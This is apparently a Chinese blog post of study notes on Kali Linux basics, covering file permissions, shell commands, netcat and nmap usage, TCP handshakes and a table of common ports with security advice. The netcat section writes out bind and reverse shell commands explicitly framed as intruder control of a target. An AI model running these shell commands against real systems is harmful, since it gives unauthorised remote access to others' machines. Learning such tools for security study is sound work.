1.2 kali基础知识和指令及几个小工具

kali基础知识和指令,几个小工具的使用,还有网络基本原理

知识和指令

基础知识

文件属性

示例:d r-x(A) r-x(B) r-x(C) 13 root(D) root(E) 0 Nov 3 11:22 1.txt

括号部分仅作讲解用,实际上不存在

A=所有者权限

B=所有者所在的组的权限

C=其他人权限

D=文件的所有人

E=D所在的组

类型:

d文件夹

-文件

l链接

权限:

r=read=4 w=write=2 x=execute=1

权限编号的计算使用加法,例如:

权限代码 编号
r-x 5
-rw 6
–r 4

修改文件权限:

chmod [权限编号] [目标文件] 修改文件权限

chmod [权限编号] -R [文件夹] 把文件夹和文件内所有东西都赋值为75

示例:chmod 755 1.txt

系统操作

防火墙

chkconfig iptables on/off 打开/关闭防火墙

apt命令

软件安装apt-get install xxx

基础指令:

系统指令:

系统相关

passwd 修改当前用户密码

ifconfig 查看ip

whoami 查看自己是谁(账户)

clear 清空当前终端

uname 查看操作系统

uname -a 查看详细版本号

文件相关

ls 查看当前目录所有文件和文件夹

ls -la 查看详细信息(文件属性)

mkdir 创建目录

cd 转到指定目录

touch 创建文件

cat 查看文件

chmod 修改文件权限

cp [被复制的文件] [复制到(包括文件名)] 复制文件

mv [被剪切的文件] [粘贴到(包括文件名)] 剪切文件(也可用于修改文件名)

rm [目标] 删除

rm -rf [目标] 全部强制删除

find [要在哪个地方查找] -name [查找的文件名] 查找文件

echo xxx 回响(单独使用是复读机)

echo xxx > 1.txt 创建名为1.txt的文件并写入xxx(有覆盖效果)

echo xxx >> 1.txt 向1.txt中追加xxx

查看进程

ps 查看进程

ps -ef 查看全部进程

ps -ef | grep xxx 查看进程名字包含xxx关键词的进程

top 查看进程(打开性能监视器)

软件指令:

编辑器类:

nano 用nano打开文件

vim 用vim打开文件


几个小工具

nc的使用

基础连接

服务端(被控):

nc -l -p [端口号] 监听指定端口

客户端(控制):

nc -nv [服务端ip] [端口号] 连接服务端

远程控制

正向控制

入侵者每次主动连接目标

目标(被控):

nc -lp [端口号] -e cmd 指客户端连接后为其打开cmd

入侵:

nc -nv [服务端ip] [端口号] 连接目标

反向控制

目标每次自己连接入侵者

目标(被控):

nc -nv [入侵者ip] [端口号] -e cmd

注意:如果目标系统为linux则将-e cmd改为-c bash

nmap的使用

nmap [可选参数] [目标ip] 普通扫描

参数:

-sT tcp扫描

-sS 隐秘扫描(不形成三次握手)

-sL [扫描一个ip段] 例如192.168.0.1/24 (指从192.168.0.1到192.168.0.255) 主要用于批量主机发现

-sn ping扫描,只发现主机,不扫描端口,通常结合-sL使用

-Pn 将所有主机假定开机,跳过主机发现的过程

-P0 使用ip协议探测主机是否开启

-sU 使用UDP扫描

-p 指定扫描那些端口,例如nmap -p 80,443,3380 192.168.1.0/24

-O 识别操作系统,例如nmap -O --osscan-guess 192.168.172.130

-A 强力模式,自动调用脚本获取最多信息,但也最慢

追加:网络相关

TCP的三次握手与四次挥手

TCP(Transmission Control Protocol,传输控制协议)是 面向连接、可靠的字节流协议,其核心机制 “三次握手”(建立连接)和 “四次挥手”(释放连接)是保障数据可靠传输的基础。

核心前提:TCP 报文关键字段

在理解握手 / 挥手前,需先掌握 TCP 报文中的 3 个核心标志位和 2 个序列号字段,这是通信的 “信号标识”:

字段 作用
SYN 同步标志(Synchronize):用于发起连接,请求同步对方的序列号(seq
ACK 确认标志(Acknowledgment):用于确认收到数据,携带确认号(ack
FIN 终止标志(Finish):用于发起连接释放,告知对方 “我已无数据要发送”
seq(序列号) 标记当前发送数据的字节位置(随机初始化,后续按字节递增)
ack(确认号) 标记 “期望下次收到的对方序列号”(= 已收到的对方 seq + 1)

注:TCP 是全双工通信(双方可同时发送数据),因此每个方向都需要独立的序列号和确认机制。

三次握手(Three-Way Handshake):建立可靠连接

核心目的:

  1. 双方确认彼此的 “发送能力” 和 “接收能力” 均正常;
  2. 协商初始序列号(seq),为后续数据传输的 “有序性” 和 “去重” 打下基础;
  3. 避免 “失效的连接请求报文段” 导致错误连接。

步骤拆解:

  1. 第一次握手(客户端→服务器)
    • 客户端发送报文:SYN=1(发起连接),seq=x(x 是客户端随机生成的初始序列号,如 1000);
    • 客户端状态变为 SYN_SENT(等待服务器确认);
    • 作用:告诉服务器 “我想和你建立连接,请你同步我的序列号”。
  2. 第二次握手(服务器→客户端)
    • 服务器收到 SYN 后,回复报文:SYN=1(同意建立连接,同步自己的序列号)+ ACK=1(确认收到客户端的 SYN);
    • 服务器序列号:seq=y(y 是服务器随机生成的初始序列号,如 2000);
    • 服务器确认号:ack=x+1(表示 “我已收到你到 x 的所有数据,下次请从 x+1 开始发”);
    • 服务器状态变为 SYN_RCVD(等待客户端最终确认);
    • 作用:服务器同时完成 “确认客户端接收 / 发送能力” 和 “发起自己的连接同步”。
  3. 第三次握手(客户端→服务器)
    • 客户端收到服务器的 SYN+ACK 后,回复报文:ACK=1(确认收到服务器的 SYN);
    • 客户端序列号:seq=x+1(按字节递增,因第一次仅发送了 SYN 标志位,无数据字节,故 + 1);
    • 客户端确认号:ack=y+1(表示 “我已收到你到 y 的所有数据,下次请从 y+1 开始发”);
    • 客户端状态变为 ESTABLISHED(连接建立),服务器收到后也变为 ESTABLISHED
    • 作用:客户端最终确认服务器的连接请求,双方完成 “双向能力验证” 和 “序列号协商”。

关键设计逻辑:为什么是 “三次” 而不是 “两次”?

  • 两次握手的风险:若客户端发送的 “连接请求报文段” 因网络延迟未及时到达服务器,客户端会超时重发。若延迟的报文段后续到达服务器,服务器会误以为是新的连接请求,直接回复 SYN+ACK 并建立连接,但客户端此时已不需要该连接,会忽略服务器的回复,导致服务器资源被浪费(半连接状态)。
  • 三次握手的必要性:第三次握手是客户端对服务器 SYN 的确认,确保 “服务器知道客户端已收到自己的连接响应”,从而避免上述资源浪费。只有三次握手,才能实现双方 “双向可靠确认”。

四次挥手(Four-Way Wavehand):释放连接

核心目的

TCP 是全双工通信,双方可同时发送数据。释放连接时,需确保:

  1. 双方都已完成数据传输(无未发送 / 未接收的数据);
  2. 双方都明确 “对方已停止发送数据”,避免提前关闭连接导致数据丢失。

步骤拆解:

  1. 第一次挥手(客户端→服务器)
    • 客户端完成数据发送后,发送报文:FIN=1(告知服务器 “我已无数据要发,请求关闭我的发送通道”);
    • 客户端序列号:seq=x+1(基于之前的数据传输进度,假设之前已发送到 x);
    • 客户端确认号:ack=y+1(确认之前收到的服务器数据);
    • 客户端状态变为 FIN_WAIT_1(等待服务器确认关闭);
    • 注意:客户端关闭的是 “发送通道”,仍可接收服务器的数据(全双工特性)。
  2. 第二次挥手(服务器→客户端)
    • 服务器收到 FIN 后,回复报文:ACK=1(确认收到客户端的关闭请求);
    • 服务器序列号:seq=y+1(基于之前的传输进度);
    • 服务器确认号:ack=x+2(因客户端发送了 FIN 标志位,相当于 1 个字节的 “关闭请求数据”,故 x+1+1=x+2);
    • 服务器状态变为 CLOSE_WAIT(等待自己的数据发送完成后,再关闭自己的发送通道);
    • 客户端收到后,状态变为 FIN_WAIT_2(等待服务器的 FIN 报文);
    • 作用:服务器确认 “客户端不再发送数据”,但自己可能仍有数据要发给客户端(如剩余的响应数据)。
  3. 第三次挥手(服务器→客户端)
    • 服务器完成所有数据发送后,发送报文:FIN=1(告知客户端 “我也无数据要发,请求关闭我的发送通道”);
    • 服务器序列号:seq=y+1(无新数据发送,序列号不变);
    • 服务器确认号:ack=x+2(与第二次挥手一致);
    • 服务器状态变为 LAST_ACK(等待客户端最终确认);
    • 作用:服务器关闭自己的发送通道,告知客户端 “可以彻底关闭连接了”。
  4. 第四次挥手(客户端→服务器)
    • 客户端收到服务器的 FIN 后,回复报文:ACK=1(确认收到服务器的关闭请求);
    • 客户端序列号:seq=x+2(基于之前的确认号);
    • 客户端确认号:ack=y+2(服务器的 FIN 相当于 1 个字节,故 y+1+1=y+2);
    • 客户端状态变为 TIME_WAIT(等待 2MSL 后关闭),服务器收到后状态变为 CLOSED
    • 客户端等待 2MSL(Maximum Segment Lifetime,报文最大生存时间,默认 2 分钟)后,状态变为 CLOSED
    • 作用:确保服务器能收到客户端的最终确认(避免服务器因报文丢失而重发 FIN)。

关键设计逻辑:为什么是 “四次” 而不是 “三次”?

  • 核心原因:TCP 是全双工通信,双方的 “发送通道” 需要独立关闭。
  • 第三次握手时,服务器可以同时发送 SYN 和 ACK(因为此时服务器还未发送数据,可合并报文);
  • 四次挥手时,服务器收到客户端的 FIN 后,可能仍有数据要发送,无法立即发送 FIN(需先完成数据传输),因此必须分两步:先回复 ACK(确认客户端关闭),再发送 FIN(自己关闭),导致比三次握手多一次报文交互。

关键细节:TIME_WAIT 状态的作用

  • 目的 1:确保最后一个 ACK 报文能到达服务器(若服务器未收到 ACK,会重发 FIN,客户端在 TIME_WAIT 期间可重新回复);
  • 目的 2:避免 “失效的报文段” 干扰新连接(TIME_WAIT 期间,客户端会丢弃所有来自该连接的旧报文段);
  • 实际影响:服务器若频繁关闭连接,会积累大量 TIME_WAIT 状态的端口,导致端口耗尽(可通过调整net.ipv4.tcp_tw_reuse等内核参数优化)。

端口

端口是计算机网络中用于区分不同服务/应用的逻辑地址(范围:0-65535),按用途可分为 知名端口(0-1023)注册端口(1024-49151)动态端口(49152-65535)。以下是开发者和日常使用中最常见的端口及其核心特点,按场景分类整理,方便查阅:

核心网络服务端口(知名端口,0-1023)

这类端口由 IANA 分配,对应基础网络服务,默认端口固定,是网络通信的基础。

端口号 协议 服务/应用 核心特点 使用场景 安全注意事项
21 TCP FTP(文件传输) 明文传输用户名/密码和文件数据,不加密;主动模式(服务器连客户端20端口)/被动模式 传统文件传输(已逐渐被替代) 风险极高!明文传输易被窃听,建议用 SFTP(22端口)FTPS 替代
22 TCP SSH(安全外壳) 加密远程登录/命令执行,支持端口转发、文件传输(SFTP),替代Telnet 服务器远程管理(Linux/云服务器) 建议修改默认端口(如2222),禁用密码登录(仅用SSH密钥),限制登录IP
23 TCP Telnet(远程登录) 明文传输,无加密,安全性极差 早期设备管理(已淘汰) 完全不推荐使用!用SSH(22端口)替代
25 TCP SMTP(邮件发送) 用于邮件服务器之间发送邮件,或客户端向服务器提交邮件(需配合认证) 邮件服务(如Postfix、Sendmail) 默认无加密,建议开启TLS(465端口),配置SPF/DKIM防止邮件伪造
53 TCP/UDP DNS(域名解析) UDP用于普通查询(快,无连接);TCP用于区域传输(数据量大,可靠) 域名解析(如访问网站、API) 开放公共DNS需注意防护DDoS攻击;内网建议部署本地DNS缓存(如Pi-hole)
80 TCP HTTP(超文本传输) 明文传输网页数据,无加密,是Web服务默认端口 普通网站访问、HTTP API 仅用于测试/内部服务,公网必须升级为HTTPS(443端口),否则数据易被篡改窃听
443 TCP HTTPS(加密HTTP) 基于TLS/SSL加密,保障数据传输安全,支持HTTP/2、HTTP/3 HTTPS网站、加密API、小程序 必须配置有效SSL证书(Let’s Encrypt免费),禁用弱加密套件(如TLS 1.0/1.1)
110 TCP POP3(邮件接收) 明文接收邮件,无加密 客户端接收邮件(已淘汰) 用POP3S(995端口,加密)替代
143 TCP IMAP(邮件接收) 支持邮件文件夹同步、标记管理,明文传输 客户端接收邮件(主流) 用IMAPS(993端口,加密)替代,开启邮件二次验证
389 TCP/UDP LDAP(目录服务) 用于用户身份认证、组织架构管理(如企业内网) 企业内网身份验证 明文传输风险高,用LDAPS(636端口,加密)替代
445 TCP SMB(文件共享) Windows文件共享、打印机共享,支持跨设备访问 内网文件共享(Windows/Mac) 漏洞频发(如永恒之蓝),公网禁止开放;内网限制访问IP,关闭匿名登录

开发者常用端口(注册端口,1024-49151)

这类端口由应用程序注册使用,默认端口可配置修改,是开发、测试、部署中高频接触的端口。

数据库端口

端口号 协议 数据库/服务 核心特点 使用场景 安全注意事项
3306 TCP MySQL/MariaDB 关系型数据库默认端口,支持主从复制、事务 Web开发、数据分析 公网禁止开放!内网绑定本地IP(127.0.0.1),设置强密码,限制访问IP
5432 TCP PostgreSQL 开源关系型数据库,支持复杂查询、JSON数据 后端开发、大数据应用 同MySQL,禁用远程匿名访问,开启SSL加密
1433 TCP SQL Server 微软SQL Server数据库默认端口 .NET开发、企业应用 公网不开放,内网限制IP,启用Windows认证或混合认证
27017 TCP MongoDB 文档型数据库,无Schema,支持分布式存储 大数据、API后端、NoSQL应用 默认无认证!需启用访问控制(用户名密码),绑定内网IP,禁止公网暴露
6379 TCP Redis 内存缓存数据库,高性能,支持多种数据结构 缓存、会话存储、消息队列 高危!默认无密码,需设置密码、绑定本地IP、开启防火墙,禁用公网访问
9200 TCP Elasticsearch 全文搜索引擎,支持分布式、实时检索 日志分析、全文搜索功能 禁用匿名访问,配置用户认证(如X-Pack),限制访问IP

Web开发/服务器端口

端口号 协议 服务/框架 核心特点 使用场景 安全注意事项
8080 TCP 通用Web端口 开发环境默认端口(如Tomcat、Nginx反向代理),非特权端口 本地开发测试、内网Web服务 公网部署需映射到80/443,禁止直接暴露8080;开启认证(如Basic Auth)
8000 TCP 开发服务器 Python Flask/Django、Node.js默认开发端口 本地开发调试(如python manage.py runserver 仅用于本地测试,切勿公网开放(无安全防护)
3000 TCP Node.js/React Node.js Express、React开发服务器默认端口 前端/Node.js后端开发 同8000,本地测试专用,公网需通过Nginx反向代理并配置HTTPS
4000 TCP Hugo/Gatsby Hugo开发服务器默认端口(hugo server -p 4000 静态博客本地预览(如GitHub Pages博客) 仅本地使用,无需公网开放,预览后部署到GitHub Pages(80/443端口)
8096 TCP Jellyfin 媒体服务器默认端口(Web管理界面+流媒体传输) 云/内网媒体库(如之前提到的Jellyfin) 公网访问需配置HTTPS(反向代理+SSL),设置强密码,限制登录IP
8888 TCP Jupyter Notebook Python交互式开发环境默认端口 数据分析、机器学习开发 本地使用需设置密码(jupyter notebook password),公网需端口转发+HTTPS

其他开发工具端口

端口号 协议 工具/服务 核心特点 使用场景 安全注意事项
5900 TCP VNC(远程桌面) 跨平台远程桌面控制,支持图形界面 远程操作桌面(如树莓派) 默认无加密,需开启VNC加密(如TightVNC),设置强密码,限制访问IP
3389 TCP RDP(Windows远程桌面) Windows自带远程桌面,图形界面流畅 Windows服务器/电脑远程控制 公网禁止开放!内网限制IP,开启网络级别认证(NLA),设置复杂密码
6000-6005 TCP X11(Linux图形界面) Linux/Unix图形界面传输端口 Linux远程图形界面访问 明文传输,风险高,建议用SSH隧道转发(ssh -X user@server)替代
9090 TCP Prometheus 监控系统默认端口(Web UI+API) 服务器/应用监控 公网需配置认证(如Basic Auth),限制访问IP,配合Grafana(3000端口)可视化
Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS